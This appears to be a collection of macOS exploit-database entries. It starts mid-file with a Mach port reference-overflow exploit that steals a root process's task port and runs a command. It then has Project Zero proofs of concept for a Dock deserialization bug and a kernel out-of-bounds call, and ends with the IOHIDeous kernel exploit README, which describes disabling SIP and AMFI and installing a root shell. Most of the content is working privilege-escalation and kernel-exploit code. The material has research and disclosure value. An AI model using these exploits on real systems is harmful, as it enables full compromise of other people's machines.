  conn = xpc_connection_create_mach_service("com.apple.bluetoothaudiod", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
  xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
    xpc_type_t t = xpc_get_type(event);
    if (t == XPC_TYPE_ERROR){
      printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
    }
    printf("received an event\n");
  });
  xpc_connection_resume(conn);

  msg = xpc_dictionary_create(NULL, NULL, 0);

  xpc_dictionary_set_string(msg, "hello", "world");

  xpc_connection_send_message(conn, msg);

	printf("bluetoothaudiod should be calling IOServiceOpen now\n");
}

mach_port_t self;

void leak_one_ref(mach_port_t overflower) {
  kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
    self,
    MACH_PORT_NULL, // an invalid name
    overflower,
    MACH_MSG_TYPE_COPY_SEND);  
}

void leak_one_ref_for_receive(mach_port_t overflower) {
  kern_return_t err = _kernelrpc_mach_port_insert_right_trap(
    self,
    MACH_PORT_NULL, // an invalid name
    overflower,
    MACH_MSG_TYPE_MAKE_SEND); // if you have a receive right
}

char* spinners = "-\\|/";
void leak_n_refs(mach_port_t overflower, uint64_t n_refs) {
	int step = 0;
  for (uint64_t i = 0; i < n_refs; i++) {
    leak_one_ref(overflower);
    if ((i % 0x40000) == 0) {
      float done = (float)i/(float)n_refs;
		 	step = (step+1) % strlen(spinners);
      fprintf(stdout, "\roverflowing [%c] (%3.3f%%)", spinners[step], done * 100);
      fflush(stdout);
    }
  }
	fprintf(stdout, "\roverflowed                           \n");
	fflush(stdout);
}

// quickly take a release a kernel reference
// if the reference has been overflowed to 0 this will free the object
void inc_and_dec_ref(mach_port_t p) {
  // if we pass something which isn't a task port name:
  // port_name_to_task 
  //   ipc_object_copyin
  //     takes a ref
  //   ipc_port_release_send
  //     drops a ref

  _kernelrpc_mach_port_insert_right_trap(p, 0, 0, 0);
}

/* try to get the free'd port replaced with a new port for which we have
 * a receive right
 * Once we've allocated a lot of new ports add them all to a port set so
 * we can just receive on the port set to find the correct one
 */
mach_port_t replace_with_receive() {
  int n_ports = 2000;
  mach_port_t ports[n_ports];
  for (int i = 0; i < n_ports; i++) {
    mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &ports[i]);
  }

  // allocate a port set
  mach_port_t ps;
  mach_port_allocate(self, MACH_PORT_RIGHT_PORT_SET, &ps);
  for (int i = 0; i < n_ports; i++) {
    mach_port_move_member( self, ports[i], ps);
  }
  return ps;
}

/* listen on the port set for io_service_open_extended messages :
 */
struct service_open_mig {
	mach_msg_header_t Head;
	/* start of the kernel processed data */
	mach_msg_body_t msgh_body;
	mach_msg_port_descriptor_t owningTask;
	mach_msg_ool_descriptor_t properties;
	/* end of the kernel processed data */
	NDR_record_t NDR;
	uint32_t connect_type;
	NDR_record_t ndr;
	mach_msg_type_number_t propertiesCnt;
};

void service_requests(mach_port_t ps) {
  size_t size = 0x1000;
  struct service_open_mig* request = malloc(size);
  memset(request, 0, size);

  printf("receiving on port set\n");
  kern_return_t err = mach_msg(&request->Head,
                               MACH_RCV_MSG,
                               0,
                               size,
                               ps,
                               0,
                               0);

  if (err != KERN_SUCCESS) {
    printf("error receiving on port set: %s\n", mach_error_string(err));
    return;
  }

  mach_port_t replaced_with = request->Head.msgh_local_port;

  printf("got a message on the port set from port: local(0x%x) remote(0x%x)\n", request->Head.msgh_local_port, request->Head.msgh_remote_port); 	
	mach_port_t target_task = request->owningTask.name;
	printf("got task port: 0x%x\n", target_task);

	run_command(target_task, "touch /tmp/hello_from_fake_kernel");
  
  printf("did that work?\n");
	printf("leaking some refs so we don't kernel panic");

	for(int i = 0; i < 0x100; i++) {
		leak_one_ref_for_receive(replaced_with);
  }

}

int main() {
	self = mach_task_self(); // avoid making the trap every time

	//mach_port_t test;
  //mach_port_allocate(self, MACH_PORT_RIGHT_RECEIVE, &test);

  // get the service we want to target:
  mach_port_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
  printf("%d : 0x%x\n", getpid(), service);

  // we don't know how many refs the port actually has - lets guess less than 40...
  uint32_t max_refs = 40;
  leak_n_refs(service, 0x100000000-max_refs);

  // the port now has a reference count just below 0 so we'll try in a loop
  // to free it, reallocate and test to see if it worked - if not we'll hope
  // that was because we didn't free it:

  mach_port_t fake_service_port = MACH_PORT_NULL;
  for (uint32_t i = 0; i < max_refs; i++) {
    inc_and_dec_ref(service);

    mach_port_t replacer_ps = replace_with_receive();

    // send a message to the service - if we receive it on the portset then we won:
    mach_msg_header_t msg = {0};
    msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
    msg.msgh_remote_port = service;
    msg.msgh_id = 0x41414141;
    msg.msgh_size = sizeof(msg);
    kern_return_t err;
    err = mach_msg(&msg,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   (mach_msg_size_t)sizeof(msg),
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    printf("sending probe: %s\n", mach_error_string(err));

    mach_msg_empty_rcv_t reply = {0};
    mach_msg(&reply.header,
             MACH_RCV_MSG | MACH_RCV_TIMEOUT,
             0,
             sizeof(reply),
             replacer_ps,
             1, // 1ms
             0);
             
		if (reply.header.msgh_id == 0x41414141) {
      // worked:
      printf("got the probe message\n");
      fake_service_port = replacer_ps;
      break;
    }
    printf("trying again (%d)\n", i);

    // if it didn't work leak another ref and try again:
    leak_one_ref(service);
  }


  printf("worked? - forcing a root process to restart, hopefully will send us its task port!\n");

	force_bluetoothaudiod_restart();

  service_requests(fake_service_port);

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1219

HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.

The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
to index an array of function pointers for the support types:

__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
__const:0000000000053ED0                                         ; DATA XREF: _AXUnserializeCFType+7Co
__const:0000000000053ED0                                         ; _cfDictionaryUnserialize+E4o ...
__const:0000000000053ED8                 dq offset _cfNumberUnserialize
__const:0000000000053EE0                 dq offset _cfBooleanUnserialize
__const:0000000000053EE8                 dq offset _cfArrayUnserialize
__const:0000000000053EF0                 dq offset _cfDictionaryUnserialize
__const:0000000000053EF8                 dq offset _cfDataUnserialize
__const:0000000000053F00                 dq offset _cfDateUnserialize
__const:0000000000053F08                 dq offset _cfURLUnserialize
__const:0000000000053F10                 dq offset _cfNullUnserialize
__const:0000000000053F18                 dq offset _cfAttributedStringUnserialize
__const:0000000000053F20                 dq offset _axElementUnserialize
__const:0000000000053F28                 dq offset _axValueUnserialize
__const:0000000000053F30                 dq offset _cgColorUnserialize
__const:0000000000053F38                 dq offset _axTextMarkerUnserialize
__const:0000000000053F40                 dq offset _axTextMarkerRangeUnserialize
__const:0000000000053F48                 dq offset _cgPathUnserialize

From a cursory inspection it's clear that these methods don't expect to parse untrusted data.

The first method, cfStringUnserialize, trusts the length field in the serialized representation
and uses that to byte-swap the string without any bounds checking leading to memory corruption.

I would guess that all the other unserialization methods should also be closely examined.

This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
is also used in replies to dock clients.

com.apple.uninstalld is a client of the Dock and runs as root
so by first exploiting this bug to gain code execution as the Dock process, we could
trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.

This poc just crashes the Dock process though.

Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
https://github.com/facebook/WebDriverAgent/pull/99/files

Tested on MacOS 10.12.3 (16D32)
*/

// ianbeer
#if 0
MacOS local EoP due to lack of bounds checking in HIServices custom CFObject serialization

HIServices.framework is used by a handful of deamons and implements its own CFObject serialization mechanism.

The entrypoint to the deserialization code is AXUnserializeCFType; it reads a type field and uses that
to index an array of function pointers for the support types:

__const:0000000000053ED0 _sUnserializeFunctions dq offset _cfStringUnserialize
__const:0000000000053ED0                                         ; DATA XREF: _AXUnserializeCFType+7Co
__const:0000000000053ED0                                         ; _cfDictionaryUnserialize+E4o ...
__const:0000000000053ED8                 dq offset _cfNumberUnserialize
__const:0000000000053EE0                 dq offset _cfBooleanUnserialize
__const:0000000000053EE8                 dq offset _cfArrayUnserialize
__const:0000000000053EF0                 dq offset _cfDictionaryUnserialize
__const:0000000000053EF8                 dq offset _cfDataUnserialize
__const:0000000000053F00                 dq offset _cfDateUnserialize
__const:0000000000053F08                 dq offset _cfURLUnserialize
__const:0000000000053F10                 dq offset _cfNullUnserialize
__const:0000000000053F18                 dq offset _cfAttributedStringUnserialize
__const:0000000000053F20                 dq offset _axElementUnserialize
__const:0000000000053F28                 dq offset _axValueUnserialize
__const:0000000000053F30                 dq offset _cgColorUnserialize
__const:0000000000053F38                 dq offset _axTextMarkerUnserialize
__const:0000000000053F40                 dq offset _axTextMarkerRangeUnserialize
__const:0000000000053F48                 dq offset _cgPathUnserialize

From a cursory inspection it's clear that these methods don't expect to parse untrusted data.

The first method, cfStringUnserialize, trusts the length field in the serialized representation
and uses that to byte-swap the string without any bounds checking leading to memory corruption.

I would guess that all the other unserialization methods should also be closely examined.

This poc talks to the com.apple.dock.server service hosted by the Dock process. Although this also
runs as the regular user (so doesn't represent much of a priv-esc) this same serialization mechanism
is also used in replies to dock clients.

com.apple.uninstalld is a client of the Dock and runs as root
so by first exploiting this bug to gain code execution as the Dock process, we could
trigger the same bug in uninstalld when it parses a reply from the dock and get code execution as root.

This poc just crashes the Dock process though.

Amusingly this opensource facebook code on github contains a workaround for a memory safety issue in cfAttributedStringUnserialize:
https://github.com/facebook/WebDriverAgent/pull/99/files

Tested on MacOS 10.12.3 (16D32)
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <mach/mach.h>
#include <mach/message.h>
#include <servers/bootstrap.h>

struct dock_msg {
  mach_msg_header_t hdr;
  mach_msg_body_t body;
  mach_msg_ool_descriptor_t ool_desc;
  uint8_t PAD[0xc];
  uint32_t ool_size;
};

int main() {
  kern_return_t err;
  mach_port_t service_port;
  err = bootstrap_look_up(bootstrap_port, "com.apple.dock.server", &service_port);
  if (err != KERN_SUCCESS) {
    printf(" [-] unable to lookup service");
    exit(EXIT_FAILURE);
  }
  printf("got service port: %x\n", service_port);

  uint32_t serialized_string[] =
   { 'abcd',     // neither 'owen' or 'aela' -> bswap?
     0x0,        // type = cfStringUnserialize
     0x41414141, // length
     0x41414141, // length
     0x1,        // contents
     0x2,
     0x3 };

	struct dock_msg m = {0};

  m.hdr.msgh_size = sizeof(struct dock_msg);
  m.hdr.msgh_local_port = MACH_PORT_NULL;
  m.hdr.msgh_remote_port = service_port;
  m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
  m.hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
  m.hdr.msgh_id = 0x178f4; // first message in com.apple.dock.server mig subsystem
  m.ool_size = sizeof(serialized_string);

  m.body.msgh_descriptor_count = 1;

  m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
  m.ool_desc.address = serialized_string;
  m.ool_desc.size = sizeof(serialized_string);
  m.ool_desc.deallocate = 0;
  m.ool_desc.copy = MACH_MSG_PHYSICAL_COPY;

  err = mach_msg(&m.hdr,
                 MACH_SEND_MSG,
                 m.hdr.msgh_size,
                 0,
                 MACH_PORT_NULL,
                 MACH_MSG_TIMEOUT_NONE,
                 MACH_PORT_NULL);

  if (err != KERN_SUCCESS) {
    printf(" [-] mach_msg failed with error code:%x\n", err);
    exit(EXIT_FAILURE);
  }
  printf(" [+] looks like that sent?\n");

  return 0;
}
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1375

AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/

// ianbeer
// build: clang -o capri_link_config capri_link_config.c -framework IOKit

#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig

AppleIntelCapriController::GetLinkConfig trusts a user-supplied value in the structure input which it uses to index
a small table of pointers without bounds checking. The OOB-read pointer is passed to AppleIntelFramebuffer::validateDisplayMode
which will read a pointer to a C++ object from that buffer (at offset 2138h) and call a virtual method allowing trivial kernel code execution.

Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include <IOKit/IOKitLib.h>

int main(int argc, char** argv){
  kern_return_t err;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }

  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }

  uint64_t inputScalar[16];  
  uint64_t inputScalarCnt = 0;

  char inputStruct[4096];
  size_t inputStructCnt = 8;
  //*(uint64_t*)inputStruct = 0x12345678; // crash
  *(uint64_t*)inputStruct = 0x37; // oob call


  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 4096;
  
  err = IOConnectCallMethod(
    conn,
    0x921,  // GetLinkConfig
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt); 

  return 0;
}
            
Sources:
https://siguza.github.io/IOHIDeous/
https://github.com/Siguza/IOHIDeous/

IOHIDeous
A macOS kernel exploit based on an IOHIDFamily 0day.

Write-up here: https://siguza.github.io/IOHIDeous/

Notice
The prefetch timing attack I'm using for hid for some reason doesn't work on High Sierra 10.13.2 anymore, and I don't feel like investigating that. Maybe patched, maybe just the consequence of a random change, I neither know nor care. The vuln is still there and my code does both info leak and kernel r/w, just not in the same binary - reason is explained in the write-up. If you want that feature, consider it an exercise for the reader.

Usage
The exploit consists of three parts:

poc panics the kernel to demonstrate the present of a memory corruption, should work on all macOS versions.
leak leaks the kernel slide, could be adapted to other versions but as-is works only on High Sierra.
hid achieves full kernel r/w, tested only on Sierra and High Sierra (up to & including 10.13.1), might work on earlier versions too.
poc and leak need to be run as the user that is currently logged in via the GUI, and they log you out in order to perform the exploit. hid on the other hand, gives you four options for a first argument:

steal requires to be run as root and SIP to be disabled, but leaves you logged in the entire time.
kill requires root and forces a dirty logout by killing WindowServer.
logout if executed as root or the currently logged in user, logs you out via launchctl. Otherwise tries to log you out via AppleScript, and then falls back to wait.
wait simply waits for a logout, shutdown or reboot to occur.
Additionally you can specify a second argument persist. If given, hid will permanently disable SIP and AMFI, and install a root shell in /System/pwned.

leak and hid should be run either via SSH or from a screen session, if you wish to observe their output.

Building
Should all be self-explanatory:

make all
make poc
make leak
make hid
make clean


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/43415.zip